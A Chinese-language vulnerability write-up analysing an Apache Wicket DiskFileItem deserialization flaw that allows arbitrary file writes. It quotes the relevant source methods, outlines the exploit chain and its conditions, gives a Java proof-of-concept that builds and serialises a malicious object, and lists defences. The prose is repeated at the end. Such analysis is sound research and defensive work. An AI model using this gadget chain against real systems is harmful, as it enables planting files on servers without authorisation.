apache wicket 反序列化写文件
字数 1079 2025-08-30 06:50:35

Apache Wicket 反序列化文件写入漏洞分析与利用

漏洞概述

Apache Wicket Utilities 中的 org.apache.wicket.util.upload.DiskFileItem 类存在反序列化漏洞,攻击者可以通过构造恶意序列化数据,在目标系统上写入任意文件。该漏洞利用需要知道目标系统的有效物理路径,且写入文件名不可控。

漏洞分析

关键类与方法

  1. DiskFileItem.readObject()

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        OutputStream output = this.getOutputStream();
        if (this.cachedContent != null) {
            output.write(this.cachedContent);
        } else {
            FileInputStream input = new FileInputStream(this.dfosFile);
            Streams.copy(input, output);
            Files.remove(this.dfosFile);
            this.dfosFile = null;
        }
        output.close();
        this.cachedContent = null;
    }
    
    • 反序列化时会调用 output.write(this.cachedContent)
    • cachedContent 可通过反射修改
  2. DiskFileItem.getOutputStream()

    public OutputStream getOutputStream() throws IOException {
        if (this.dfos == null) {
            this.dfos = new DeferredFileOutputStream(this.sizeThreshold, new DeferredFileOutputStream.FileFactory() {
                public File createFile() {
                    return DiskFileItem.this.getTempFile();
                }
            });
        }
        return this.dfos;
    }
    
    • 初始化 DeferredFileOutputStream
    • 通过 FileFactory 接口创建临时文件
  3. ThresholdingOutputStream.write(byte[])

    public void write(byte[] b) throws IOException {
        this.checkThreshold(b.length);
        this.getStream().write(b);
        this.written += (long)b.length;
    }
    
    • 检查阈值并写入数据
  4. ThresholdingOutputStream.checkThreshold()

    protected void checkThreshold(int count) throws IOException {
        if (!this.thresholdExceeded && this.written + (long)count > (long)this.threshold) {
            this.thresholdReached();
            this.thresholdExceeded = true;
        }
    }
    
    • 触发阈值检查逻辑
  5. DeferredFileOutputStream.thresholdReached()

    protected void thresholdReached() throws IOException {
        byte[] data = this.memoryOutputStream.toByteArray();
        if (this.outputFile == null) {
            this.outputFile = this.fileFactory.createFile();
        }
        FileOutputStream fos = new FileOutputStream(this.outputFile);
        fos.write(data);
        this.currentOutputStream = fos;
        this.memoryOutputStream = null;
    }
    
    • 关键文件写入点
    • 使用 fileFactory.createFile() 创建文件
  6. DiskFileItem.getTempFile()

    protected File getTempFile() {
        if (this.tempFile == null) {
            File tempDir = this.repository;
            if (tempDir == null) {
                String systemTmp = null;
                try {
                    systemTmp = System.getProperty("java.io.tmpdir");
                } catch (SecurityException var4) {
                    throw new RuntimeException("Reading property java.io.tmpdir is not allowed...");
                }
                tempDir = new File(systemTmp);
            }
            try {
                do {
                    String tempFileName = "upload_" + UID + "_" + getUniqueId() + ".tmp";
                    this.tempFile = new File(tempDir, tempFileName);
                } while(!this.tempFile.createNewFile());
            } catch (IOException e) {
                throw new RuntimeException("Could not create the temp file...", e);
            }
            if (this.fileUploadCleaner != null) {
                this.fileUploadCleaner.track(this.tempFile, this);
            }
        }
        return this.tempFile;
    }
    
    • 确定文件写入位置
    • 文件名格式为 upload_[UID]_[uniqueId].tmp

漏洞利用链

  1. 攻击者构造恶意 DiskFileItem 对象
  2. 通过反射设置 cachedContent 为攻击载荷
  3. 设置 repository 为目标路径
  4. 序列化该对象并发送给目标
  5. 目标反序列化时触发文件写入

漏洞利用条件

  1. 需要知道目标系统的一个有效物理路径
  2. 写入的文件名不可控(格式为 upload_[UID]_[uniqueId].tmp
  3. 目标应用存在反序列化入口点

POC 代码

import org.apache.wicket.util.io.ByteArrayOutputStream;
import org.apache.wicket.util.io.DeferredFileOutputStream;
import org.apache.wicket.util.io.ThresholdingOutputStream;
import org.apache.wicket.util.upload.DiskFileItem;
import java.io.*;
import java.lang.reflect.Field;

public class Main {
    public static void main(String[] args) throws Exception {
        // 设置要写入的文件内容
        byte[] data = "test".getBytes();
        
        // 设置目标路径
        String repoPath = "C:\\Users\\test\\Desktop\\a";
        File repository = new File(repoPath);
        
        // 创建DiskFileItem对象
        DiskFileItem diskFileItem = new DiskFileItem("", "", false, "", 0, repository, null);
        
        // 创建DeferredFileOutputStream并设置
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, repository);
        
        // 通过反射设置关键字段
        Reflections.setFieldValue(diskFileItem, "dfos", dfos);
        Reflections.setFieldValue(diskFileItem, "cachedContent", data);
        
        // 序列化对象
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("unser.bin"));
        objectOutputStream.writeObject(diskFileItem);
        objectOutputStream.close();
        
        // 模拟反序列化触发
        new ObjectInputStream(new FileInputStream("unser.bin")).readObject();
    }
}

防御措施

  1. 输入验证:对反序列化数据进行严格验证
  2. 使用白名单:限制可反序列化的类
  3. 更新组件:升级到修复版本
  4. 权限控制:限制应用的文件系统访问权限
  5. 安全配置:使用Java安全管理器限制敏感操作

总结

该漏洞利用Apache Wicket Utilities中DiskFileItem类的反序列化机制,通过反射修改关键字段实现任意文件写入。虽然利用需要知道目标系统的有效路径且文件名不可控,但在特定环境下仍可能造成严重危害。开发者应关注反序列化安全问题,及时更新组件并实施适当的安全措施。

Apache Wicket 反序列化文件写入漏洞分析与利用 漏洞概述 Apache Wicket Utilities 中的 org.apache.wicket.util.upload.DiskFileItem 类存在反序列化漏洞,攻击者可以通过构造恶意序列化数据,在目标系统上写入任意文件。该漏洞利用需要知道目标系统的有效物理路径,且写入文件名不可控。 漏洞分析 关键类与方法 DiskFileItem.readObject() 反序列化时会调用 output.write(this.cachedContent) cachedContent 可通过反射修改 DiskFileItem.getOutputStream() 初始化 DeferredFileOutputStream 通过 FileFactory 接口创建临时文件 ThresholdingOutputStream.write(byte[]) 检查阈值并写入数据 ThresholdingOutputStream.checkThreshold() 触发阈值检查逻辑 DeferredFileOutputStream.thresholdReached() 关键文件写入点 使用 fileFactory.createFile() 创建文件 DiskFileItem.getTempFile() 确定文件写入位置 文件名格式为 upload_[UID]_[uniqueId].tmp 漏洞利用链 攻击者构造恶意 DiskFileItem 对象 通过反射设置 cachedContent 为攻击载荷 设置 repository 为目标路径 序列化该对象并发送给目标 目标反序列化时触发文件写入 漏洞利用条件 需要知道目标系统的一个有效物理路径 写入的文件名不可控(格式为 upload_[UID]_[uniqueId].tmp ) 目标应用存在反序列化入口点 POC 代码 防御措施 输入验证 :对反序列化数据进行严格验证 使用白名单 :限制可反序列化的类 更新组件 :升级到修复版本 权限控制 :限制应用的文件系统访问权限 安全配置 :使用Java安全管理器限制敏感操作 总结 该漏洞利用Apache Wicket Utilities中 DiskFileItem 类的反序列化机制,通过反射修改关键字段实现任意文件写入。虽然利用需要知道目标系统的有效路径且文件名不可控,但在特定环境下仍可能造成严重危害。开发者应关注反序列化安全问题,及时更新组件并实施适当的安全措施。